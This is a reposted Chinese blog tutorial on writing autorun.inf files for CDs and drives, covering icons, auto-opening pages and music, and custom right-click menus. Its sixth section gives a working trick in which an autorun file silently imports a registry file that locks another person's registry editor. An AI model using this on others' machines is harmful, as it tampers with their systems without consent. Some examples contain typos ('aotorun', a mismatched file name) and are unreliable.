转贴
光盘中autorun.inf的制作2008-10-17 15:58我们在使用各种光盘时,都会发现同一种现象:当我们把光盘放入光驱后,Windows便能自动地启动光盘上的某个程序,从而完成一个基于Windows平台设计的产品的配置、安装等操作;或者打开资源管理器,会发现光盘的图标已被改变成标志其产品之类的图标了。 这的确让我们感觉到操作上的方便和快捷。其实,这是利用了Windows操作系统的“自动播放(AutoPlay)”功能。
自动播放的工作原理
自动播放的原理很简单:当光盘被放入采用Windows操作系统的计算机光驱中时,系统会立即检测Windows的一个32位光驱驱动程序,然后搜寻光盘上根目录下一个叫Autorun.inf的配置文件,并自动运行这个Autorun.inf中设置的命令。显然,在整个过程中起着关键作用的便是这个Autorun.inf文件,我们所体验到的“自动”,事实上都是在这个文件里预先指定的。
一、解读Autorun.inf
Autorun.inf是一个文本形式的配置文件,我们可以用文本编辑软件进行编辑,它只能位于驱动器的根目录下。这个文件包含了需要自动运行的命令,如改变的驱动器图标、运行的程序文件、可选快捷菜单等内容。
Autorun.inf文件结构较简单,主要包含一个固定的段标识[Autorun]和自定的自动播放命令(Autoplay command)。定义好Autoplay command就可以实现自己的自动播放了。
改变驱动器图标命令:Defaulticon命令和Icon命令
这两条命令都能改变光盘图标,功能相同。我们平时见到的光盘图标的改变就是用此命令来实现的。
命令中都包含图标信息文件(iconname),可以指出该文件在光盘上的相对路径(path),在没有指出路径的情况下,Windows自动到光盘的根目录下搜寻图标信息文件。其命令格式为:
Defaulticon=Path\Iconname
或Icon=Path\Iconname
Iconname可以是.ico、.bmp、.exe或 .dll文件。例如,要引用光盘根目录上Setup.ico作为光盘的图标,可这样表示:
Defaulticon=Setup.ico
或Icon=Setup.ico
如果这个文件包含多个图标,可指定文件中的一个资源号(索引)来引用其中的不同图标。资源号由0、1、2……数字来标识,分别代表图标信息文件中的第一个图标、第二个图标……,它与图标信息文件间用逗号分隔。例如,在光盘autorun目录下有一个包含两个图标的autorun.exe文件,要引用其中的第二个图标作为光盘图标,可以这样表示:
Defaulticon =Autorun\Autorun.exe, 1
或Icon=Autorun\Autorun.exe, 1
当你对这个图标感到不满意时,只要换一个资源号即可。
需要说明的是,如果Defaulticon 和Icon命令同出现在一个Autorun.inf文件中,Autoplay使用Defaulticon命令而忽略Icon命令。
二、做一个自动打开网页的光盘
1、把你的网页放在一个文件夹下面,如html
2、在目录新建一个autorun.inf的文件,打开后编辑为以下内容:
[aotorun]
icon=***.ico(加图标)
shellexecute=index.html(光盘放入后自动打开index.html,如果是win9x/me的话则改成open=start.exe index.html)
三、做一个自动放歌的光盘
1、首先得新建一个文件夹来放要播放的MP3~,偶放在D盘下,就是d:\mp3
2、下载一个播放器软件,注意要是绿色的(如千千、Foobar)
3、对播放器进行设置,去掉不要的功能,最主要的是把D:\MP3的音乐加到播放列表下面并保存为fpl播放列表文件
4、在MP3目录下新建一个名为autorun.inf的文件,用记事本打开,输入以下内容!
[aotorun]
open=foobar\foobar.exe **.fpl(就是通过foobar来打开**.fpl播放列表)
icon=foobar\foobar.exe,1(设置图标为foobar程序的第一个图标)
5、把D:\MP3中所有的文件刻录到光盘。
四、改变驱动器的图标
1、在要改变图标的驱动器根目录下新建autorun.inf(这里以d盘为例)
2、输入以下内容:
[autorun]
ICON=c:\windows\system\shell32.dll,21(D盘的图标会变成 shell32.dll的第21个图标)
五、为光盘加右键菜单~
1、在光盘根目录下新建一个autorun.inf,编辑为
[autorun]
icon=c:\windows\system\shell32.dll,21
shell\01=说明文件
shell\01\command=notepad readme.txt(用notepad打开readme.txt文件)
shell\02=自动运行光盘
shell\02\command=autorun(自动运行光盘了)
shell\03=安装WINRAR
shell\03\command=winrar.exe(安装WINRAR)
open=***.exe(自动运行光盘时运行这个程序)
也许要刻录后才能效果。
六、用autorun.inf实现修改注册表(危险)
示例1、插入光盘后就自动锁掉你的注册表。。。
首先编写一个REG文件,打开记事本,键入以下内容:
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=dword: 00000001
将以上部分另存为lock.reg文件。要特别注意第一行REGEDIT4要用大写且顶格写,在它后面要空上一行,在最后一行写完后记得要按两次回车键,即最后也要空上一行。
然后新建一个AutoRun.inf文件,输入以下内容:
[AutoRun]
Open=Regedit/s ShareC.reg
加/s参数是为了导入时不会显示任何提示信息,保存AutoRun.inf文件。将lock.reg和AutoRun.inf这两个文件都复制到另一台电脑的磁盘的根目录下或刻录到光盘中,这样对方只要双击那个磁盘或者把光盘插入光驱就会将lock.reg导入注册表,而且没有提示哦。。对方的注册表就被锁了
说明1:是否执行AutoRun功能其实由注册表来决定。在“开始”菜单的“运行”中输入Regedit,打开注册表编辑器,展开到HKEY_CURRENT_USER\ software\Microsoft\Windows\Current- Version\Policies\Exploer主键下,右边窗口中的二进制值“NoDriveType- AutoRun”决定了是否执行AutoRun功能(包括硬盘和Ramdisk)。“NoDriveTypeAutoRun”默认键值为95 00 00 00
说明2:Shell32.DLL是一个Windows系统文件,里面包含有很多Windows的系统图标,21表示显示为编号为21的图标,当然你也可以自己制作一个图标,只需要在“ICON”一行把路径做相应修改即可。除了可以使用DLL文件中的图标外,还能用EXE文件中的图标,或直接使用ICO文件。
说明3:不同的播放器的参数加载方式可能会不同的。